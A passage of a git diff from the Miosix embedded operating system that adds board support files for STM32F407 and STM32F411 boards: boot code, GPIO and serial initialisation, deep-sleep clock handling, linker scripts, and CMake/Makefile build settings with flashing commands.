covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..f21b91147 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F407xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f405,f407,f415,f417 RCC synchronization is required per the +//device errata (ES0182 section 2.2.13). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 81, so there are 82 +#define MIOSIX_NUM_PERIPHERAL_IRQ 82 diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..d62f36f7b --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/bsp.cpp @@ -0,0 +1,144 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +typedef Gpio cs43l22reset; + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + // On stm32f4discovery some of the SDIO pins conflict with the + // audio output chip, so keep it permanently reset to avoid issues + cs43l22reset::mode(Mode::OUTPUT); + cs43l22reset::low(); + // Initialize default serial + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + #ifdef AUX_SERIAL + intrusive_ref_ptr devFs=basicFilesystemSetup(SDIODriver::instance()); + devFs->addDevice(AUX_SERIAL, + STM32SerialBase::get( + auxSerial,auxSerialSpeed,auxSerialFlowctrl,auxSerialDma)); + #else //AUX_SERIAL + basicFilesystemSetup(SDIODriver::instance()); + #endif //AUX_SERIAL + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..bcc97f095 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * D0 : PC8 + * D1 : PC9 + * D2 : PC10 (conflicts with CS43L22 SCK) + * D3 : PC11 + * CLK : PC12 (conflicts with CS43L22 SDIN) + * CMD : PD2 + * + * The conflicts mean that it's not possible to use both the SD card and + * the audio playback feature on this board. + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/sleep.cpp b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/sleep.cpp new file mode 100644 index 000000000..b9094575f --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/interfaces-impl/sleep.cpp @@ -0,0 +1,150 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico and * + * Marsella Daniele * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/arch_registers.h" +#include "interfaces_private/sleep.h" +#include "interfaces_private/os_timer.h" +#include "drivers/stm32f407_rtc.h" +#include "miosix.h" +#include + + +/// /def DEBUG_DEEP_SLEEP +/// This debug symbol makes the deep sleep routine to make +/// a led blink when the board enter the stop mode +/// #define DEBUG_DEEP_SLEEP + +using namespace std; + +namespace miosix { + +static Rtc* rtc = nullptr; + +static void IRQsetSystemClock() +{ + RCC->CR |= RCC_CR_HSEON | RCC_CR_HSION; + while((RCC->CR & RCC_CR_HSERDY)==0) ; + while((RCC->CR & RCC_CR_HSIRDY)==0) ; + + /* Select HSI */ + RCC->CFGR &= ~(RCC_CFGR_SW); + while((RCC->CFGR & RCC_CFGR_SWS ) != RCC_CFGR_SWS_HSI) ; + + //Configure PLL and turn it on + const int m=hseFrequency/1000000; + constexpr int sysclkMhz=cpuFrequency/1000000; + static_assert(sysclkMhz==180 || sysclkMhz==168 || sysclkMhz==100 + || sysclkMhz==84,"unsupported sysclk frequency"); + constexpr int p=sysclkMhz<100 ? 4 : 2; + constexpr int n=sysclkMhz*p; + // With SYSCLK 100MHz, 48MHz output will be 40MHz + constexpr int q=sysclkMhz==100 ? 5 : p/48; + RCC->PLLCFGR=m | (n<<6) | (((p/2)-1)<<16) | RCC_PLLCFGR_PLLSRC_HSE | (q<<24); + RCC->CR |= RCC_CR_PLLON; + while((RCC->CR & RCC_CR_PLLRDY)==0) ; + + RCC->CFGR &= ~(RCC_CFGR_HPRE | RCC_CFGR_PPRE1 | RCC_CFGR_PPRE2); + + RCC->CFGR |= RCC_CFGR_HPRE_DIV1; + RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; + RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; + + RCC->CFGR |= RCC_CFGR_SW_PLL; + + //NOTE: FLASH->ACR is preserved, no need to reconfigure wait states + while((RCC->CFGR & RCC_CFGR_SWS ) != RCC_CFGR_SWS_PLL) ; +} + +static void IRQenterStopMode() +{ + // Safe procedure to enter stopmode + RTC->CR &= ~(RTC_CR_WUTIE); + RTC->ISR &= ~(RTC_ISR_WUTF); + PWR->CSR &= ~(PWR_CSR_WUF); + EXTI->PR = 0xffff; // reset pending bits + RTC->CR |= RTC_CR_WUTIE; + rtc->startWakeupTimer(); + //Enter stop mode by issuing a WFE + PWR->CR |= PWR_CR_FPDS //Flash in power down while in stop + | PWR_CR_LPDS; //Regulator in low power mode while in stop + SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode + __SEV(); + __WFE(); + __WFE(); // fast fix to a bug of STM32F4 + SCB->SCR &= ~SCB_SCR_SLEEPDEEP_Msk; //Unselect stop mode + IRQsetSystemClock(); + //Configure PLL and turn it on + rtc->stopWakeupTimer(); +} + +void IRQdeepSleepInit() +{ + rtc = &Rtc::instance(); + rtc->setWakeupInterrupt(); +} + +bool IRQdeepSleep(long long int abstime) +{ + long long reltime = abstime - IRQgetTime(); + reltime = max(reltime - rtc->stopModeOffsetns, 0LL); + if(reltime < rtc->getMinimumDeepSleepPeriod()) + { + // Too late for deep-sleep, use normal sleep + return false; + } else { +#ifdef DEBUG_DEEP_SLEEP + _led::high(); +#endif + + rtc->setWakeupInterrupt(); + long long wut_ticks = rtc->wkp_tc.ns2tick(reltime); + unsigned int remaining_wakeups = wut_ticks / 0xffff; + unsigned int last_wut = wut_ticks % 0xffff; + while(remaining_wakeups > 0) + { + rtc->setWakeupTimer(0xffff); + IRQenterStopMode(); + remaining_wakeups--; + } + rtc->setWakeupTimer(last_wut); + IRQenterStopMode(); +#ifdef DEBUG_DEEP_SLEEP + _led::low(); +#endif + IRQosTimerSetTime(abstime); + } + return true; +} + +bool IRQdeepSleep() +{ + return IRQdeepSleep(3600000000000); //Just wait a long time, 3600s +} + +} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32f4discovery.cfg b/miosix/arch/board/stm32f407vg_stm32f4discovery/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32f4discovery.cfg rename to miosix/arch/board/stm32f407vg_stm32f4discovery/openocd.cfg diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/processes.ld b/miosix/arch/board/stm32f407vg_stm32f4discovery/processes.ld new file mode 100644 index 000000000..337921c7e --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/processes.ld @@ -0,0 +1,27 @@ +/* + * Linker script for stm32f407 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* + * NOTE: The stm32f407 has the architectural quirk that ram1 is a TCM that is + * not accessible by the DMA. As such, we can't use the entire ram2 for the + * process pool, since that would leave the kernel with no DMA-capable RAM! + * The DMA-based drivers for stm32f407 are hardcoded to assume that only heap + * memory is DMA-capable, so with this chip we *must* place the kernel keap in + * ram2! + * We thus split ram2 into 32K for the kernel heap and 96K for the process pool. + */ +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/unikernel.ld b/miosix/arch/board/stm32f407vg_stm32f4discovery/unikernel.ld new file mode 100644 index 000000000..74f6b7fee --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f407 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f407vg_thermal_test_chip/CMakeLists.txt b/miosix/arch/board/stm32f407vg_thermal_test_chip/CMakeLists.txt new file mode 100644 index 000000000..66df854ee --- /dev/null +++ b/miosix/arch/board/stm32f407vg_thermal_test_chip/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board stm32f407vg_thermal_test_chip +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_THERMALTESTCHIP) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_THERMALTESTCHIP) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f407vg_thermal_test_chip/Makefile.inc b/miosix/arch/board/stm32f407vg_thermal_test_chip/Makefile.inc new file mode 100644 index 000000000..cde9108dd --- /dev/null +++ b/miosix/arch/board/stm32f407vg_thermal_test_chip/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f407vg_thermal_test_chip +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_THERMALTESTCHIP +BOARD_CXXFLAGS := -D_BOARD_THERMALTESTCHIP + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f407vg_thermal_test_chip/boot.cpp b/miosix/arch/board/stm32f407vg_thermal_test_chip/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f407vg_thermal_test_chip/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..f21b91147 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F407xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f405,f407,f415,f417 RCC synchronization is required per the +//device errata (ES0182 section 2.2.13). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 81, so there are 82 +#define MIOSIX_NUM_PERIPHERAL_IRQ 82 diff --git a/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..6674fddb2 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/bsp.cpp @@ -0,0 +1,115 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + #ifdef AUX_SERIAL + intrusive_ref_ptr devFs=basicFilesystemSetup(SDIODriver::instance()); + devFs->addDevice(AUX_SERIAL, + STM32SerialBase::get( + auxSerial,auxSerialSpeed,auxSerialFlowctrl,auxSerialDma)); + #else //AUX_SERIAL + basicFilesystemSetup(SDIODriver::instance()); + #endif //AUX_SERIAL + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + //No shutdown support for this board + reboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..96944e343 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_thermal_test_chip/interfaces-impl/bsp_impl.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * D0 : PC8 + * D1 : PC9 + * D2 : PC10 (conflicts with CS43L22 SCK) + * D3 : PC11 + * CLK : PC12 (conflicts with CS43L22 SDIN) + * CMD : PD2 + * + * The conflicts mean that it's not possible to use both the SD card and + * the audio playback feature on this board. + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/stm32f4discovery.cfg b/miosix/arch/board/stm32f407vg_thermal_test_chip/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/stm32f4discovery.cfg rename to miosix/arch/board/stm32f407vg_thermal_test_chip/openocd.cfg diff --git a/miosix/arch/board/stm32f407vg_thermal_test_chip/unikernel.ld b/miosix/arch/board/stm32f407vg_thermal_test_chip/unikernel.ld new file mode 100644 index 000000000..560fcbbe8 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_thermal_test_chip/unikernel.ld @@ -0,0 +1,15 @@ +/* + * Linker script for stm32f407 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + /* TCM not used here, left for logging buffers at the application level */ + /* ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K */ + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f411ce_blackpill/CMakeLists.txt b/miosix/arch/board/stm32f411ce_blackpill/CMakeLists.txt new file mode 100644 index 000000000..e4b8878c1 --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f411ce_blackpill +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F411CE_BLACKPILL) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F411CE_BLACKPILL) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE dfu-util -d 0483:df11 -a 0 -s 0x08000000:leave -D ) diff --git a/miosix/arch/board/stm32f411ce_blackpill/Makefile.inc b/miosix/arch/board/stm32f411ce_blackpill/Makefile.inc new file mode 100644 index 000000000..f1dc3d2b8 --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f411ce_blackpill +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ 